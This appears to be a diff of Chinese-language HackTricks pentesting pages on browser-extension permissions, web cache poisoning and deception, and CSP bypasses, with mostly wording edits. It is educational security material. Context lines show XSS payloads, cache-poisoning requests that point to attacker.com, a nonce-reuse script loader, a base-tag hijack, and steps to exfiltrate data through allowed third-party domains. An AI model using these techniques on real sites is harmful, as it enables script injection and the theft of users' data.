### 网络摄像头、地理位置及其他 <a href="#webcam-geolocation-and-friends" id="webcam-geolocation-and-friends"></a>
|
||||
|
||||
您可能知道,网站可以请求特殊权限,例如访问您的网络摄像头(视频会议工具)或地理位置(地图)。这是具有相当滥用潜力的功能,因此用户每次都必须确认他们仍然希望这样做。
|
||||
您可能知道,网站可以请求特殊权限,例如访问您的网络摄像头(视频会议工具)或地理位置(地图)。这是一种具有相当滥用潜力的功能,因此用户每次都必须确认他们仍然希望这样做。
|
||||
|
||||
> [!CAUTION]
|
||||
> 浏览器扩展则不是。**如果浏览器扩展** [**想要访问您的网络摄像头或麦克风**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**,它只需请求一次权限**
|
||||
> 浏览器扩展则不是。**如果浏览器扩展** [**想要访问您的网络摄像头或麦克风**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**,它只需要请求一次权限**
|
||||
|
||||
通常,扩展会在安装后立即这样做。一旦接受了此提示,**网络摄像头访问在任何时候都是可能的**,即使用户此时没有与扩展交互。是的,用户只有在扩展确实需要网络摄像头访问时才会接受此提示。但在那之后,他们必须信任扩展不会秘密录制任何内容。
|
||||
|
||||
通过访问 [您的确切地理位置](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) 或 [剪贴板内容](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API),显式授予权限根本不必要。**扩展只需将 `geolocation` 或 `clipboard` 添加到其** [**权限条目**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **中。** 这些访问权限在扩展安装时隐式授予。因此,具有这些权限的恶意或被攻陷的扩展可以在您未注意到的情况下创建您的移动档案或监控您剪贴板中复制的密码。
|
||||
访问 [您确切的地理位置](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) 或 [剪贴板内容](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API) 时,显式授予权限根本不必要。**扩展只需将 `geolocation` 或 `clipboard` 添加到其** [**权限条目**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **中。** 这些访问权限在扩展安装时隐式授予。因此,具有这些权限的恶意或被攻陷的扩展可以在您未注意到的情况下创建您的移动档案或监控您剪贴板中复制的密码。
|
||||
|
||||
将 **`history`** 关键字添加到扩展清单的 [权限条目](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) 中授予 **访问** [**history API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history) 的权限。它允许一次性检索用户的整个浏览历史,而无需等待用户再次访问这些网站。
|
||||
|
||||
@ -93,15 +93,15 @@
|
||||
|
||||
### 更多权限
|
||||
|
||||
您可以在 [**这里找到 Chromium 浏览器扩展可以请求的完整权限列表**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions),以及 [**Firefox 扩展的完整列表在这里**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**。**
|
||||
您可以在这里找到 [**Chromium 浏览器扩展可以请求的完整权限列表**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) 和 [**Firefox 扩展的完整列表**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**。**
|
||||
|
||||
## 预防 <a href="#why-not-restrict-extension-privileges" id="why-not-restrict-extension-privileges"></a>
|
||||
|
||||
谷歌开发者的政策明确禁止扩展请求超出其功能所需的权限,从而有效减轻过度权限请求的情况。一个浏览器扩展超越这一界限的实例涉及其与浏览器本身一起分发,而不是通过附加组件商店。
|
||||
谷歌开发者的政策明确禁止扩展请求超出其功能所需的权限,从而有效减轻过度权限请求的情况。一个浏览器扩展越界的实例涉及其与浏览器本身一起分发,而不是通过附加组件商店。
|
||||
|
||||
浏览器还可以进一步遏制扩展权限的滥用。例如,Chrome 的 [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) 和 [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) API,用于屏幕录制,旨在最小化滥用。tabCapture API 只能通过直接用户交互激活,例如点击扩展图标,而 desktopCapture 需要用户确认要录制的窗口,从而防止秘密录制活动。
|
||||
|
||||
然而,收紧安全措施往往会导致扩展的灵活性和用户友好性降低。[activeTab 权限](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) 说明了这种权衡。它的引入消除了扩展请求整个互联网的主机权限的需要,允许扩展在用户明确激活时仅访问当前标签。该模型对于需要用户主动操作的扩展有效,但对于需要自动或预先操作的扩展则显得不足,从而妨碍了便利性和即时响应。
|
||||
然而,收紧安全措施往往会导致扩展的灵活性和用户友好性降低。[activeTab 权限](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) 说明了这种权衡。它的引入消除了扩展请求整个互联网的主机权限的需要,允许扩展在用户明确激活时仅访问当前标签。该模型对需要用户主动操作的扩展有效,但对于需要自动或预先操作的扩展则显得不足,从而妨碍了便利性和即时响应能力。
|
||||
|
||||
## **参考文献**
|
||||
|
||||
|
||||
@ -78,7 +78,7 @@ $("section.bookmark-container .existing-items").append(bookmarkItem)
|
||||
persistData()
|
||||
})
|
||||
```
|
||||
该代码片段从 **`txtName`** 输入字段获取 **值**,并使用 **字符串连接生成 HTML**,然后通过 jQuery 的 `.append()` 函数将其附加到 DOM。
|
||||
此代码片段从 **`txtName`** 输入字段获取 **值**,并使用 **字符串连接生成 HTML**,然后通过 jQuery 的 `.append()` 函数将其附加到 DOM。
|
||||
|
||||
通常,Chrome 扩展的内容安全策略 (CSP) 会防止此类漏洞。然而,由于 **CSP 放宽了 ‘unsafe-eval’** 和使用 jQuery 的 DOM 操作方法(这些方法使用 [`globalEval()`](https://api.jquery.com/jquery.globaleval/) 将脚本传递给 [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) 在 DOM 插入时),仍然可以进行利用。
|
||||
|
||||
@ -94,7 +94,7 @@ persistData()
|
||||
[...]
|
||||
],
|
||||
```
|
||||
值得注意的是,**`/html/bookmarks.html`** 页面容易受到框架攻击,因此容易受到 **clickjacking** 的影响。此漏洞被利用,将页面嵌入攻击者的网站中,并用 DOM 元素覆盖,从而欺骗性地重新设计界面。这种操控导致受害者无意中与底层扩展进行交互。
|
||||
值得注意的是,**`/html/bookmarks.html`** 页面容易受到框架攻击,因此容易受到 **clickjacking** 的影响。此漏洞被利用,将页面嵌入攻击者的网站中,并用 DOM 元素覆盖,以欺骗性地重新设计界面。这种操控导致受害者无意中与底层扩展进行交互。
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@ -15,8 +15,8 @@
|
||||
|
||||
执行缓存中毒攻击涉及几个步骤:
|
||||
|
||||
1. **识别无键输入**:这些是参数,尽管不是请求被缓存所必需的,但可以改变服务器返回的响应。识别这些输入至关重要,因为它们可以被利用来操纵缓存。
|
||||
2. **利用无键输入**:在识别无键输入后,下一步是弄清楚如何滥用这些参数,以一种对攻击者有利的方式修改服务器的响应。
|
||||
1. **识别未键入的输入**:这些是参数,尽管不是请求被缓存所必需的,但可以改变服务器返回的响应。识别这些输入至关重要,因为它们可以被利用来操纵缓存。
|
||||
2. **利用未键入的输入**:在识别未键入的输入后,下一步是弄清楚如何滥用这些参数,以一种对攻击者有利的方式修改服务器的响应。
|
||||
3. **确保被污染的响应被缓存**:最后一步是确保被操纵的响应被存储在缓存中。这样,任何在缓存被污染时访问受影响页面的用户将收到被污染的响应。
|
||||
|
||||
### 发现:检查HTTP头
|
||||
@ -33,9 +33,9 @@
|
||||
cache-poisoning-to-dos.md
|
||||
{{#endref}}
|
||||
|
||||
但是,请注意,**有时这些状态代码不会被缓存**,因此此测试可能不可靠。
|
||||
但是,请注意**有时这些状态代码不会被缓存**,因此此测试可能不可靠。
|
||||
|
||||
### 发现:识别和评估无键输入
|
||||
### 发现:识别和评估未键入的输入
|
||||
|
||||
您可以使用[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943)来**暴力破解可能**改变页面响应的**参数和头**。例如,一个页面可能使用头`X-Forwarded-For`来指示客户端从那里加载脚本:
|
||||
```markup
|
||||
@ -85,7 +85,7 @@ GET / HTTP/1.1
|
||||
Host: vulnerable.com
|
||||
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
|
||||
```
|
||||
注意,如果易受攻击的 cookie 被用户广泛使用,常规请求将清除缓存。
|
||||
注意,如果易受攻击的 cookie 被用户频繁使用,常规请求将清除缓存。
|
||||
|
||||
### 使用分隔符、规范化和点生成差异 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
@ -95,9 +95,9 @@ Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
|
||||
cache-poisoning-via-url-discrepancies.md
|
||||
{{#endref}}
|
||||
|
||||
### 通过路径遍历进行缓存污染以窃取 API 密钥 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
### 通过路径遍历进行缓存中毒以窃取 API 密钥 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
[**这篇文章解释了**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) 如何通过类似 `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` 的 URL 窃取 OpenAI API 密钥,因为任何匹配 `/share/*` 的内容都会被缓存,而 Cloudflare 在请求到达 web 服务器时并未对 URL 进行规范化。
|
||||
[**这篇文章解释了**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) 如何通过类似 `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` 的 URL 窃取 OpenAI API 密钥,因为任何匹配 `/share/*` 的内容将被缓存,而 Cloudflare 不会对 URL 进行规范化,这在请求到达 web 服务器时完成。
|
||||
|
||||
这在以下内容中也有更好的解释:
|
||||
|
||||
@ -105,9 +105,9 @@ cache-poisoning-via-url-discrepancies.md
|
||||
cache-poisoning-via-url-discrepancies.md
|
||||
{{#endref}}
|
||||
|
||||
### 使用多个头部利用 web 缓存污染漏洞 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
### 使用多个头部利用 web 缓存中毒漏洞 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
有时您需要 **利用多个无键输入** 来滥用缓存。例如,如果您将 `X-Forwarded-Host` 设置为您控制的域名,并将 `X-Forwarded-Scheme` 设置为 `http`,您可能会发现一个 **开放重定向**。**如果** 服务器 **将** 所有 **HTTP** 请求 **转发** 到 **HTTPS** 并使用头部 `X-Forwarded-Scheme` 作为重定向的域名。您可以控制重定向指向的页面。
|
||||
有时您需要 **利用多个未键入的输入** 来滥用缓存。例如,如果您将 `X-Forwarded-Host` 设置为您控制的域名,并将 `X-Forwarded-Scheme` 设置为 `http`,您可能会发现一个 **开放重定向**。**如果** 服务器 **将** 所有 **HTTP** 请求 **转发** 到 **HTTPS** 并使用头部 `X-Forwarded-Scheme` 作为重定向的域名。您可以控制重定向指向的页面。
|
||||
```markup
|
||||
GET /resources/js/tracking.js HTTP/1.1
|
||||
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
|
||||
@ -125,7 +125,7 @@ X-Host: attacker.com
|
||||
```
|
||||
### Fat Get
|
||||
|
||||
发送一个带有请求的GET请求,URL和请求体中都包含该请求。如果web服务器使用请求体中的内容,但缓存服务器缓存的是URL中的内容,那么任何访问该URL的人实际上将使用请求体中的参数。就像James Kettle在Github网站上发现的漏洞:
|
||||
发送一个GET请求,URL和请求体中都包含请求。如果web服务器使用请求体中的内容,但缓存服务器缓存的是URL中的内容,那么任何访问该URL的人实际上将使用请求体中的参数。就像James Kettle在Github网站上发现的漏洞:
|
||||
```
|
||||
GET /contact/report-abuse?report=albinowax HTTP/1.1
|
||||
Host: github.com
|
||||
@ -160,11 +160,11 @@ ATS 在 URL 中转发了片段而没有去掉它,并仅使用主机、路径
|
||||
|
||||
### GitHub CP-DoS
|
||||
|
||||
在内容类型头中发送错误值触发了 405 缓存响应。缓存键包含 cookie,因此只能攻击未认证用户。
|
||||
在 content-type 头中发送错误值触发了 405 缓存响应。缓存键包含 cookie,因此只能攻击未认证用户。
|
||||
|
||||
### GitLab + GCP CP-DoS
|
||||
|
||||
GitLab 使用 GCP 存储桶来存储静态内容。**GCP 存储桶** 支持 **头部 `x-http-method-override`**。因此,可以发送头部 `x-http-method-override: HEAD` 并使缓存返回空响应体。它还可以支持方法 `PURGE`。
|
||||
GitLab 使用 GCP 存储桶来存储静态内容。**GCP 存储桶** 支持 **头部 `x-http-method-override`**。因此,可以发送头部 `x-http-method-override: HEAD` 并使缓存返回空响应体。它还可以支持 `PURGE` 方法。
|
||||
|
||||
### Rack 中间件 (Ruby on Rails)
|
||||
|
||||
@ -205,9 +205,9 @@ Cloudflare 之前缓存了 403 响应。尝试使用错误的授权头访问 S3
|
||||
- _www.example.com/profile.php/%2e%2e/test.js_
|
||||
- _使用不太常见的扩展名,如_ `.avif`
|
||||
|
||||
另一个非常清晰的例子可以在这个写作中找到: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)。\
|
||||
另一个非常清晰的例子可以在这篇文章中找到:[https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)。\
|
||||
在这个例子中,解释了如果您加载一个不存在的页面,如 _http://www.example.com/home.php/non-existent.css_,将返回 _http://www.example.com/home.php_ 的内容(**包含用户的敏感信息**),并且缓存服务器将保存结果。\
|
||||
然后,**攻击者** 可以在自己的浏览器中访问 _http://www.example.com/home.php/non-existent.css_ 并观察之前访问过的用户的 **机密信息**。
|
||||
然后,**攻击者**可以在自己的浏览器中访问 _http://www.example.com/home.php/non-existent.css_ 并观察之前访问过的用户的 **机密信息**。
|
||||
|
||||
请注意,**缓存代理** 应该被 **配置** 为 **缓存** 文件 **基于** 文件的 **扩展名**(_.css_),而不是基于内容类型。在示例 _http://www.example.com/home.php/non-existent.css_ 中,将具有 `text/html` 内容类型,而不是 `text/css` MIME 类型(这是 _.css_ 文件的预期类型)。
|
||||
|
||||
|
||||
@ -29,9 +29,9 @@ GET /anas/repos HTTP/2
|
||||
Host: redacted.com
|
||||
Content-Type: HelloWorld
|
||||
```
|
||||
- **无密钥头**
|
||||
- **未键头**
|
||||
|
||||
一些网站会在请求中看到某些特定的头时返回错误状态代码,例如带有 _X-Amz-Website-Location-Redirect: someThing_ 头的请求:
|
||||
一些网站如果在请求中**看到某些特定的头**,例如带有 _X-Amz-Website-Location-Redirect: someThing_ 头时,会返回错误状态代码:
|
||||
```
|
||||
GET /app.js HTTP/2
|
||||
Host: redacted.com
|
||||
@ -44,7 +44,7 @@ Invalid Header
|
||||
```
|
||||
- **HTTP 方法覆盖攻击 (HMO)**
|
||||
|
||||
如果服务器支持使用诸如 `X-HTTP-Method-Override`、`X-HTTP-Method` 或 `X-Method-Override` 的头部更改 HTTP 方法。可以通过更改方法请求有效页面,以便服务器不支持它,从而缓存错误响应:
|
||||
如果服务器支持使用诸如 `X-HTTP-Method-Override`、`X-HTTP-Method` 或 `X-Method-Override` 的头部更改 HTTP 方法。可以通过更改方法请求有效页面,以便服务器不支持它,从而导致错误响应被缓存:
|
||||
```
|
||||
GET /blogs HTTP/1.1
|
||||
Host: redacted.com
|
||||
@ -63,7 +63,7 @@ Cache: miss
|
||||
```
|
||||
- **长重定向 DoS**
|
||||
|
||||
如以下示例所示,x 没有被缓存,因此攻击者可以利用重定向响应行为,使重定向发送一个如此大的 URL 以至于返回错误。然后,试图访问没有未缓存的 x 键的 URL 的人将收到错误响应:
|
||||
如以下示例所示,x 没有被缓存,因此攻击者可以利用重定向响应行为,使重定向发送一个如此大的 URL 以至于返回错误。然后,试图在没有未缓存的 x 密钥的情况下访问该 URL 的人将收到错误响应:
|
||||
```
|
||||
GET /login?x=veryLongUrl HTTP/1.1
|
||||
Host: www.cloudflare.com
|
||||
@ -80,7 +80,7 @@ CF-Cache-Status: miss
|
||||
```
|
||||
- **主机头部大小写规范化**
|
||||
|
||||
主机头部应该是不区分大小写的,但有些网站期望它是小写的,如果不是则会返回错误:
|
||||
主机头部应该是不区分大小写的,但某些网站期望它是小写的,如果不是则会返回错误:
|
||||
```
|
||||
GET /img.png HTTP/1.1
|
||||
Host: Cdn.redacted.com
|
||||
|
||||
@ -5,7 +5,7 @@
|
||||
这是对帖子中提出的技术的总结 [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all),目的是执行缓存中毒攻击 **利用缓存代理和Web服务器之间的差异。**
|
||||
|
||||
> [!NOTE]
|
||||
> 此攻击的目标是 **让缓存服务器认为正在加载静态资源**,因此它会缓存该资源,而缓存服务器将路径的一部分存储为缓存键,但Web服务器响应解析另一个路径。Web服务器将解析实际路径,这将加载一个动态页面(可能存储有关用户的敏感信息、恶意负载如XSS,或重定向以从攻击者网站加载JS文件等)。
|
||||
> 此攻击的目标是 **让缓存服务器认为正在加载一个静态资源**,因此它会缓存该资源,而缓存服务器将路径的一部分存储为缓存键,但Web服务器响应解析另一个路径。Web服务器将解析实际路径,这将加载一个动态页面(可能存储有关用户的敏感信息、恶意负载如XSS,或重定向以从攻击者网站加载JS文件等)。
|
||||
|
||||
## Delimiters
|
||||
|
||||
@ -18,7 +18,7 @@
|
||||
|
||||
在此过程中可能会发现其他特定的分隔符:
|
||||
|
||||
- **步骤1**:识别不可缓存的请求,并使用它们监控潜在分隔符的URL处理方式。
|
||||
- **步骤1**:识别不可缓存的请求,并使用它们监控潜在分隔符的URL是如何处理的。
|
||||
- **步骤2**:将随机后缀附加到路径,并比较服务器的响应以确定字符是否作为分隔符。
|
||||
- **步骤3**:在随机后缀之前引入潜在分隔符,以查看响应是否发生变化,指示分隔符的使用。
|
||||
|
||||
@ -44,9 +44,9 @@
|
||||
|
||||
- **扩展名**:Cloudflare将始终缓存以下扩展名的文件:7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst, avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin, ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps, jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac, mid, pls, tar, xlsx
|
||||
- 可以通过使用分隔符和静态扩展强制缓存存储动态响应,例如请求 `/home$image.png` 将缓存 `/home$image.png`,而源服务器将响应 `/home`
|
||||
- **知名静态目录**:以下目录包含静态文件,因此其响应应被缓存:/static, /assets, /wp-content, /media, /templates, /public, /shared
|
||||
- **知名静态目录**:以下目录包含静态文件,因此它们的响应应该被缓存:/static, /assets, /wp-content, /media, /templates, /public, /shared
|
||||
- 可以通过使用分隔符、静态目录和点强制缓存存储动态响应,例如:`/home/..%2fstatic/something` 将缓存 `/static/something`,而响应将是 `/home`
|
||||
- **静态目录 + 点**:请求 `/static/..%2Fhome` 或 `/static/..%5Chome` 可能会按原样缓存,但响应可能是 `/home`
|
||||
- **静态文件**:一些特定文件始终被缓存,如 `/robots.txt`、`/favicon.ico` 和 `/index.html`。这可以被滥用,例如 `/home/..%2Frobots.txt`,其中缓存可能存储 `/robots.txt`,而源服务器响应 `/home`。
|
||||
- **静态文件**:一些特定文件总是被缓存,如 `/robots.txt`、`/favicon.ico` 和 `/index.html`。这可以被滥用,例如 `/home/..%2Frobots.txt`,其中缓存可能存储 `/robots.txt`,而源服务器响应 `/home`。
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -20,7 +20,7 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
|
||||
|
||||
CSP 可以通过以下头部进行强制执行或监控:
|
||||
|
||||
- `Content-Security-Policy`: 强制执行 CSP;浏览器阻止任何违规行为。
|
||||
- `Content-Security-Policy`: 强制执行 CSP;浏览器会阻止任何违规行为。
|
||||
- `Content-Security-Policy-Report-Only`: 用于监控;报告违规行为而不阻止它们。非常适合在预生产环境中进行测试。
|
||||
|
||||
### Defining Resources
|
||||
@ -69,8 +69,8 @@ object-src 'none';
|
||||
- `'unsafe-eval'`: 允许使用`eval()`和类似方法,出于安全原因不推荐使用。
|
||||
- `'unsafe-hashes'`: 启用特定的内联事件处理程序。
|
||||
- `'unsafe-inline'`: 允许使用内联资源,如内联`<script>`或`<style>`,出于安全原因不推荐使用。
|
||||
- `'nonce'`: 使用加密nonce(一次性使用的数字)对特定内联脚本进行白名单处理。
|
||||
- 如果您有JS限制执行,可以通过`doc.defaultView.top.document.querySelector("[nonce]")`获取页面内使用的nonce,然后重用它加载恶意脚本(如果使用了strict-dynamic,任何允许的来源都可以加载新来源,因此不需要这样做),如:
|
||||
- `'nonce'`: 使用加密nonce(一次性使用的数字)对特定内联脚本的白名单。
|
||||
- 如果您有JS限制执行,可以使用`doc.defaultView.top.document.querySelector("[nonce]")`在页面内获取使用的nonce,然后重用它加载恶意脚本(如果使用了strict-dynamic,任何允许的来源都可以加载新来源,因此这不是必需的),如:
|
||||
|
||||
<details>
|
||||
|
||||
@ -95,8 +95,8 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||||
- `blob:`:允许从 Blob URL 加载资源(例如,通过 JavaScript 创建的 Blob URL)。
|
||||
- `filesystem:`:允许从文件系统加载资源。
|
||||
- `'report-sample'`:在违规报告中包含违规代码的示例(对调试有用)。
|
||||
- `'strict-origin'`:类似于 'self',但确保源的协议安全级别与文档匹配(只有安全源可以从安全源加载资源)。
|
||||
- `'strict-origin-when-cross-origin'`:在进行同源请求时发送完整 URL,但在跨源请求时仅发送源。
|
||||
- `'strict-origin'`:类似于 'self',但确保源的协议安全级别与文档匹配(只有安全来源才能从安全来源加载资源)。
|
||||
- `'strict-origin-when-cross-origin'`:在进行同源请求时发送完整 URL,但在跨源请求时仅发送来源。
|
||||
- `'unsafe-allow-redirects'`:允许加载会立即重定向到另一个资源的资源。不推荐使用,因为这会削弱安全性。
|
||||
|
||||
## 不安全的 CSP 规则
|
||||
@ -105,7 +105,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||||
```yaml
|
||||
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
|
||||
```
|
||||
有效负载: `"/><script>alert(1);</script>`
|
||||
有效的有效载荷: `"/><script>alert(1);</script>`
|
||||
|
||||
#### 通过 Iframes 的 self + 'unsafe-inline'
|
||||
|
||||
@ -116,7 +116,7 @@ csp-bypass-self-+-unsafe-inline-with-iframes.md
|
||||
### 'unsafe-eval'
|
||||
|
||||
> [!CAUTION]
|
||||
> 这不起作用,更多信息请[**查看此处**](https://github.com/HackTricks-wiki/hacktricks/issues/653)。
|
||||
> 这不起作用,更多信息请 [**查看此处**](https://github.com/HackTricks-wiki/hacktricks/issues/653)。
|
||||
```yaml
|
||||
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
||||
```
|
||||
@ -126,7 +126,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
||||
```
|
||||
### strict-dynamic
|
||||
|
||||
如果你能以某种方式使一个**允许的 JS 代码创建一个新的脚本标签**在 DOM 中,并且是由一个允许的脚本创建的,那么**新的脚本标签将被允许执行**。
|
||||
如果你能以某种方式使一个**允许的 JS 代码创建一个新的脚本标签**在 DOM 中,并且因为是允许的脚本在创建它,**新的脚本标签将被允许执行**。
|
||||
|
||||
### Wildcard (\*)
|
||||
```yaml
|
||||
@ -155,7 +155,7 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
||||
```
|
||||
如果您可以上传一个 JS 文件,您可以绕过这个 CSP:
|
||||
|
||||
工作负载:
|
||||
工作有效载荷:
|
||||
```markup
|
||||
"/>'><script src="/uploads/picture.png.js"></script>
|
||||
```
|
||||
@ -163,11 +163,11 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
||||
|
||||
此外,即使您能够使用服务器接受的扩展名(如:_script.png_)在文件中上传**JS代码**,这也不够,因为一些服务器如apache服务器**根据扩展名选择文件的MIME类型**,而像Chrome这样的浏览器会**拒绝执行应该是图像的内容中的Javascript**代码。“希望”有错误。例如,从一个CTF中我了解到**Apache不知道**_**.wave**_扩展名,因此它不会以**MIME类型如audio/***提供它。
|
||||
|
||||
从这里开始,如果您发现了XSS和文件上传,并且设法找到一个**被误解的扩展名**,您可以尝试上传一个具有该扩展名和脚本内容的文件。或者,如果服务器正在检查上传文件的正确格式,可以创建一个多用途文件([这里有一些多用途文件示例](https://github.com/Polydet/polyglot-database))。
|
||||
从这里开始,如果您发现XSS和文件上传,并且设法找到一个**被误解的扩展名**,您可以尝试上传一个具有该扩展名和脚本内容的文件。或者,如果服务器正在检查上传文件的正确格式,可以创建一个多重格式文件([一些多重格式示例在这里](https://github.com/Polydet/polyglot-database))。
|
||||
|
||||
### Form-action
|
||||
|
||||
如果无法注入JS,您仍然可以尝试通过**注入表单操作**来提取例如凭据(并可能期望密码管理器自动填充密码)。您可以在[**此报告中找到一个示例**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)。另外,请注意`default-src`不涵盖表单操作。
|
||||
如果无法注入JS,您仍然可以尝试通过**注入表单操作**来提取例如凭据(并可能期望密码管理器自动填充密码)。您可以在[**此报告中找到一个示例**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)。此外,请注意`default-src`不涵盖表单操作。
|
||||
|
||||
### 第三方端点 + ('unsafe-eval')
|
||||
|
||||
@ -295,7 +295,7 @@ https://www.youtube.com/oembed?callback=alert;
|
||||
| 实体 | 允许的域名 | 能力 |
|
||||
| ----------------- | ------------------------------------------ | ------------ |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
|
||||
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
|
||||
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
|
||||
@ -313,7 +313,7 @@ Content-Security-Policy: default-src 'self’ www.facebook.com;
|
||||
```
|
||||
Content-Security-Policy: connect-src www.facebook.com;
|
||||
```
|
||||
您应该能够提取数据,就像一直以来使用 [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/) 一样。在这种情况下,您遵循以下一般步骤:
|
||||
您应该能够提取数据,就像一直以来使用 [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/) 一样。在这种情况下,您可以按照以下一般步骤操作:
|
||||
|
||||
1. 在此处创建一个 Facebook 开发者帐户。
|
||||
2. 创建一个新的“Facebook 登录”应用并选择“网站”。
|
||||
@ -339,11 +339,11 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
||||
```html
|
||||
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
|
||||
```
|
||||
浏览器最终将加载 `https://example.com/scripts/angular/angular.js`。
|
||||
浏览器最终会加载 `https://example.com/scripts/angular/angular.js`。
|
||||
|
||||
这有效是因为对于浏览器来说,您正在加载一个名为 `..%2fangular%2fangular.js` 的文件,该文件位于 `https://example.com/scripts/react/` 下,这符合 CSP。
|
||||
这之所以有效,是因为对于浏览器来说,您正在加载一个名为 `..%2fangular%2fangular.js` 的文件,该文件位于 `https://example.com/scripts/react/` 下,这符合 CSP。
|
||||
|
||||
∑,它们将解码它,有效地请求 `https://example.com/scripts/react/../angular/angular.js`,这等同于 `https://example.com/scripts/angular/angular.js`。
|
||||
∑,它们会解码,从而有效地请求 `https://example.com/scripts/react/../angular/angular.js`,这等同于 `https://example.com/scripts/angular/angular.js`。
|
||||
|
||||
通过 **利用浏览器和服务器之间 URL 解释的不一致性,可以绕过路径规则**。
|
||||
|
||||
@ -362,15 +362,15 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
||||
如果缺少 **base-uri** 指令,您可以利用它执行 [**悬挂标记注入**](../dangling-markup-html-scriptless-injection/)。
|
||||
|
||||
此外,如果 **页面使用相对路径加载脚本**(如 `<script src="/js/app.js">`)并使用 **Nonce**,您可以利用 **base** **标签** 使其 **从您自己的服务器加载** 脚本,从而实现 XSS。\
|
||||
如果易受攻击的页面使用 **httpS** 加载,请在 base 中使用 httpS URL。
|
||||
如果易受攻击的页面是通过 **httpS** 加载的,请在 base 中使用 httpS URL。
|
||||
```html
|
||||
<base href="https://www.attacker.com/" />
|
||||
```
|
||||
### AngularJS 事件
|
||||
|
||||
